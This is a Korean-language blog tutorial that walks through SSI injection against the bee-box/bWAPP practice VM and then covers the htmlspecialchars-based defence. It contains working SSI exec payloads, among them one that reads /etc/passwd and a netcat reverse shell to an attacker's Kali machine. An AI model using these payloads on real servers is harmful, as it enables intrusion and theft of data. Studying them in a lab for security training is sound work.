์ƒˆ์†Œ์‹

Game/Bee-box

[Bee-box] ๊ธฐํƒ€ ์ธ์ ์…˜ ๊ณต๊ฒฉ- SSI ์ธ์ ์…˜

  • -
๋ฐ˜์‘ํ˜•

php code injection ์‹ค์Šต์— ์ด์–ด์„œ,

์˜ค๋Š˜์€ ์ธ์ ์…˜ ๊ธฐ๋ฒ• ์ค‘ ssi injection์„ ์‹ค์Šตํ•ด๋ณผ๊ฒŒ์š”.

์‹ค์Šตํ•˜๋Š” ๋ชจ๋“  ๊ณต๊ฒฉ์€ ์‹ค์ œ๋กœ ์‚ฌ์šฉํ•˜์‹œ๋ฉด ์•ˆ๋ฉ๋‹ˆ๋‹ค.

ํ—ˆ์šฉ๋ฐ›์ง€ ์•Š์€ ์„œ๋น„์Šค ๋Œ€์ƒ์— ํ•ดํ‚น์„ ์‹œ๋„ํ•˜๋Š” ํ–‰๋™์€ ๊ธˆ์ง€ํ•˜๋ฉฐ,

๋ชจ๋“  ๋ฒ•์  ์ฑ…์ž„์€ ์‚ฌ์šฉ์ž์—๊ฒŒ ์žˆ๋Š” ๊ฒƒ์„ ๋ช…์‹ฌํ•ด์ฃผ์„ธ์š”.

 

 


 

SSI(Server-Side Includes?

html ํŽ˜์ด์ง€์˜ ์ „์ฒด ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•˜์ง€ ์•Š๊ณ  ๊ณตํ†ต ๋ชจ๋“ˆ ํŒŒ์ผ๋กœ ๊ด€๋ฆฌํ•˜๋ฉฐ ๋™์ ์ธ ใ…ใ„ด์šฉ์„ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด ๋งŒ๋“ค์–ด์ง„ ๊ธฐ๋Šฅ์ด๋‹ค.

์ฃผ๋กœ ๋ฐฉ๋ฌธ์ž ์ˆ˜๋ฅผ ์„ธ๊ฑฐ๋‚˜ ํ™ˆํŽ˜์ด์ง€์˜ ๋กœ๊ณ  ์ˆ˜์ • ๋“ฑ ๊ฐ„๋‹จํ•œ ๊ธฐ๋Šฅ ์ถ”๊ฐ€์‹œ ์‚ฌ์šฉํ•œ๋‹ค.

 

ssi ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์›น ํŽ˜์ด์ง€์˜ ๊ฒฝ์šฐ ssi์ง€์‹œ์–ด ์ฒ˜๋ฆฌ๋ฅผ ์œ„ํ•œ .shtml (www.terms.co.kr/SHTML.htm) ํ™•์žฅ์ž ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ๋‹ค.

ssi์ง€์‹œ์–ด์˜ ํ˜•์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€๋ฐ, HTML ์˜ ์ฃผ์„๊ณผ ๋น„์Šทํ•œ ํ˜•ํƒœ๋กœ ssi๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ ์›น ๋ธŒ๋ผ์šฐ์ €๋Š” ssi์ง€์‹œ์–ด๋ฅผ ์ฃผ์„์œผ๋กœ ์ฒ˜๋ฆฌํ•œ๋‹ค. " <!--#element attribute = value --> "

 

์œ„ํ‚ค ๋ฐฑ๊ณผ์—์„œ๋Š” ssi๋ฅผ ์•„๋ž˜์™€ ๊ฐ™์ด ์ •์˜ํ•œ๋‹ค.

์„œ๋ฒ„ ์‚ฌ์ด๋“œ ํฌํ•จ (SSI)๋ฅผ ํ•ด์„ ๊ฐ„๋‹จ ์„œ๋ฒ„ - ์‚ฌ์ด๋“œ ์Šคํฌ๋ฆฝํŠธ ์–ธ์–ด๋Š” ์›”๋“œ ์™€์ด๋“œ ์›น (World Wide Web) ๊ฑฐ์˜ ๋…์ ์ ์œผ๋กœ ์‚ฌ์šฉ์ด. # include ์ง€์‹œ๋ฌธ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ•˜๋‚˜ ์ด์ƒ์˜ ํŒŒ์ผ ๋‚ด์šฉ์„ ์›น ์„œ๋ฒ„ ์˜ ์›น ํŽ˜์ด์ง€์— ํฌํ•จํ•˜๋Š” ๋ฐ ๊ฐ€์žฅ ์œ ์šฉ ํ•ฉ๋‹ˆ๋‹ค.

 

SSI ์ธ์ ์…˜ ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๊ฒฝ์šฐ ํŽ˜์ด์ง€์— ์•…์˜์ ์ธ ์ง€์‹œ์–ด๋ฅผ ์ฃผ์ž…ํ•˜๋Š” ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•จ.

 


 

 

๋‚œ์ด๋„ ํ•˜

 

 

SSI ์ ‘์†

 

 

 

์ด ํŽ˜์ด์ง€๋Š” ์ด๋ฆ„์„ ์ž…๋ ฅํ•˜๊ณ  Lookup ํด๋ฆญ ์‹œ ์‚ฌ์šฉ์ž์˜ ip๋ฅผ ์ถœ๋ ฅํ•ด์ค€๋‹ค.

 

 

 

์—ฌ๊ธฐ์„œ url ์— ip๋Š” vmware(๊ฐ€์ƒํ™˜๊ฒฝ) ๊ฒŒ์ŠคํŠธ ip์ด๊ณ 

์•„๋ž˜ ๋นจ๊ฐ„ ๋„ค๋ชจ ๋ฐ•์Šค๋Š” host ip ์ด๋‹ค.

 

์‹ค์ œ๋กœ ip๊ฐ€ ์ถœ๋ ฅ๋˜์—ˆ์Œ.

 

์ฆ‰ Lookup ๋ฒ„ํŠผ์„ ํด๋ฆญํ•˜๋ฉด ssii.shtml ํŽ˜์ด์ง€๋ฅผ ํ˜ธ์ถœํ•จ.

(์ด๊ฑธ๋กœ ์‚ฌ์šฉ์ž๋Š” shtml(ssi์ง€์‹œ์–ด ์ฒ˜๋ฆฌ๋ฅผ ์œ„ํ•œ ํ™•์žฅ์ž), ssi ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๊ณ  ํŒŒ์•… ํ•  ์ˆ˜ ์žˆ์Œ.

-> ์ทจ์•ฝ์  ๋ฐœ์ƒ ๊ฐ€๋Šฅ์„ฑ)

 

์ธ์ ์…˜ ์ทจ์•ฝ์ ์„ ํŒŒ์•… ํ•˜๊ธฐ ์œ„ํ•ด ssi์ง€์‹œ์–ด๋ฅผ ์ž…๋ ฅ์นธ์— ๋„ฃ์–ด๋ณธ๋‹ค.

ssi ์ง€์‹œ์–ด๋Š” html์ฃผ์„๊ณผ ๋น„์Šทํ•œ ํ˜•ํƒœ๋กœ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์„œ๋ฒ„์—์„œ ssi๊ธฐ๋Šฅ์„ ์„ค์ • ํ•˜์ง€ ์•Š์•˜๋‹ค๋ฉด

๋ธŒ๋ผ์šฐ์ €์—์„œ ssi์ง€์‹œ์–ด๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ  ๋ฌด์‹œํ•œ๋‹ค.

 

 

<!--#echo var="DATE_LOCAL" -->

 

์œ„ ์ง€์‹œ์–ด๋Š” ํ˜„์žฌ ์‹œ๊ฐ„์„ ์ถœ๋ ฅํ•˜๋Š” ๋ช…๋ น์–ด์ด๋‹ค.

 

 

 

ํ˜„์žฌ์‹œ๊ฐ„์„ ์ถœ๋ ฅํ•œ๋‹ค. -> ssi ์ทจ์•ฝ์  ํ™•์ธ.

 

๋”๋ณด๊ธฐ

exec๋Š” ๊ธฐ์กด ํ”„๋กœ์„ธ์Šค์˜ ์ปจํ…์ŠคํŠธ์—์„œ ์‹คํ–‰ ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜์—ฌ ์ด์ „ ์‹คํ–‰ ํŒŒ์ผ์„ ๋Œ€์ฒดํ•˜๋Š” ์šด์˜ ์ฒด์ œ์˜ ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. ์ด ๋™์ž‘์„ ์˜ค๋ฒ„๋ ˆ์ด๋ผ๊ณ ๋„ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ๊ณณ์— ์กด์žฌํ•˜๋”๋ผ๋„ ์œ ๋‹‰์Šค ๊ณ„์—ด ์‹œ์Šคํ…œ์—์„œ ํŠนํžˆ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

 

www.linux.co.kr/unixwebhosting/ssi/ssi04.htm << ssi๊ณต๊ฒฉ ๋ช…๋ น์–ด ์ž์„ธํžˆ ์•Œ๊ธฐ

 

 *** ์ฃผ์˜ ํ• ๊ฒƒ : echo ๋ช…๋ น์–ด ์•„๋‹ˆ๊ณ  exec๋ช…๋ น์–ด์ž„ ***

 

 

 

cmd = ls ๋ช…๋ น์„ ์ž…๋ ฅํ•ด๋ณธ๋‹ค.

cmd์†์„ฑ์— ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด์šฉ์„ ์ถœ๋ ฅํ•˜๋Š” ls ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜๊ณ  ์กฐ์ž‘ํ•œ ssi๋ฅผ ๋„ฃ์–ด๋ณธ๋‹ค.

(ํ•„๋“œ๋Š” ๊ผญ ์ฑ„์›Œ์•ผ ํ•˜๋‹ˆ, last name =์•„๋ฌด๊ฑฐ๋‚˜ ์จ์คŒ)

 

 

์™€์›…! ssi์ธ์ ์…˜ ์„ฑ๊ณต>< ์ฃผ์š” ์ •๋ณด๋ฅผ ๋บด๋ณด์ž.

cat๋ช…๋ น์–ด๋กœ ํŒŒ์ผ์„ ๋ณผ๊ฑฐ๋‹ค. passwdํŒŒ์ผ!

 

๊ฒฝ๋กœ๋ฅผ ์ž…๋ ฅํ•ด์„œ ๋“ค์–ด๊ฐ€๋ณธ๋‹ค.

 

<!--#exec cmd="cat /etc/passwd" -->

 

 

๋ฏผ๊ฐํ•œ ์ •๋ณด ์œ ์ถœ

 

 

์ด๋Ÿฐ ๊ฒฝ์šฐ netcat์„ ์ด์šฉํ•ด์„œ ์„œ๋ฒ„ ์‰˜์— ์ ‘๊ทผ ๊ฐ€๋Šฅ.

์ฆ‰ ์•…์˜์ ์ธ ์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ์„ ์„œ๋ฒ„์— ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜, ์ฃผ์š” ์ •๋ณด๋ฅผ ์ฝ๋Š” ๋“ฑ์˜ ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ ํ•  ์ˆ˜ ์žˆ์Œ

 

โ–ผ

๋”๋ณด๊ธฐ

์นผ๋ฆฌ๋ฆฌ๋ˆ…์Šค ์ ‘์†

- sudo su (๋ฃจํŠธ๋กœ ์ ‘๊ทผ)

- nc -l -p 666 (๋ฆฌ์Šจ๋ชจ๋“œ ๋‹ค๋ฅธํ˜ธ์ŠคํŠธ๊ฐ€ ๋“ค์–ด์˜ฌ ์ˆ˜ ์žˆ๊ฒŒ, -p๋กœ ์ ‘์† ํฌํŠธ ์ง€์ •)

 

-----์ฆ‰ beebox๊ฐ€ ์„œ๋ฒ„๋ผ ๊ฐ€์ •ํ–ˆ์„ ๋•Œ ์„œ๋ฒ„์—์„œ -> ํด๋ผ์ด์–ธํŠธ(์นผ๋ฆฌ๋ฆฌ๋ˆ…์Šค)๋กœ ์ ‘๊ทผ / ๋ฆฌ๋ฒ„์Šค ์‰˜

 

beebox์—์„œ ssi ์ง€์‹œ์–ด๋กœ ๋„ท์บฃ ์‹คํ–‰ ์‹œํ‚จ๋‹ค.

 

<!--#exec cmd="nc (์นผ๋ฆฌ ip)  666[์นผ๋ฆฌ ํฌํŠธ] -e /bin/bash" -->

 

bash์‰˜ ์‚ฌ์šฉํ•˜๊ณ , -e๋ช…๋ น์–ด๋กœ  ์ž…๋ ฅ ํ”„๋กœ๊ทธ๋žจ ์‹คํ–‰

 

 

์ด ๊ณผ์ •์„ ์™„๋ฃŒํ•˜๋ฉด ์นผ๋ฆฌ์—์„œ beebox๋‚ด๋ถ€๊ตฌ์กฐ๋ฅผ ํŒŒ์•… ํ•  ์ˆ˜ ์žˆ์Œ. 

 

๋Œ€์‘๋ฐฉ์•ˆ

 

'๋‚œ์ด๋„ ์ƒ' ์—์„œ๋Š” ssi ์ง€์‹œ์–ด ์ž…๋ ฅํ•ด๋„ ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๊ณ , ๋ชจ๋‘ ๋ฌธ์ž์—ด๋กœ ์ถœ๋ ฅ๋œ๋‹ค.

์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด์•˜๋”๋‹ˆ ๋ชจ๋‘ xss_check_3ํ•จ์ˆ˜๋กœ ํ•„ํ„ฐ๋ง๋˜๊ณ  ์žˆ๋‹ค.

 

๊ฒฝ๋กœ๋Š” functions_external.php (var/www/bWAPP๋ฐ‘์— ์žˆ์–ด์š”~)

 

 

 

๋‚ด์šฉ์„ ์‚ดํŽด๋ณด๋‹ˆ utf-8๋กœ ์ธ์ฝ”๋”ฉ์„ ํ•ด์ค€๋‹ค. ๋ฐ์ดํ„ฐ๋ฅผ

htmlspecialchars๋ฅผ ํ†ตํ•ด ๋ฐ›์€ data(์ž…๋ ฅ๋ฐ์ดํƒ€)๋ฅผ ์ธ์ฝ”๋”ฉ ํ•ด์ฃผ๋Š” ํ•จ์ˆ˜์ธ๋ฐ

 

 

http://b.redinfo.co.kr/56

 

์œ„์™€ ๊ฐ™์ด ํŠน์ˆ˜๋ฌธ์ž๋ฅผ html์—”ํ‹ฐํ‹ฐ๋กœ ๋ณ€ํ™˜์‹œํ‚จ๋‹ค.

 

 

http://b.redinfo.co.kr/56

 

๋‘๋ฒˆ์งธ ์ธ์ž๋Š” ์œ„๋ฅผ ๋ณด๋ฉด ๋ ๊ฒƒ ๊ฐ™๋‹ค.

 

ํ•˜์—ฌํŠผ ๋ฌธ์ž๋กœ ์ธ์‹ํ•˜๊ฒŒ ๋ฐฉ์–ด ํ•˜๋ฉด ๋œ๋‹ค!

 


 

## ์ฐธ๊ณ ํ•˜๋ฉด ์ข‹์„ ์‚ฌ์ดํŠธ link ##

 

b.redinfo.co.kr/56

www.php.net/manual/en/function.htmlspecialchars.php

๋ฐ˜์‘ํ˜•
Contents

ํฌ์ŠคํŒ… ์ฃผ์†Œ๋ฅผ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด ๊ณต๊ฐ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.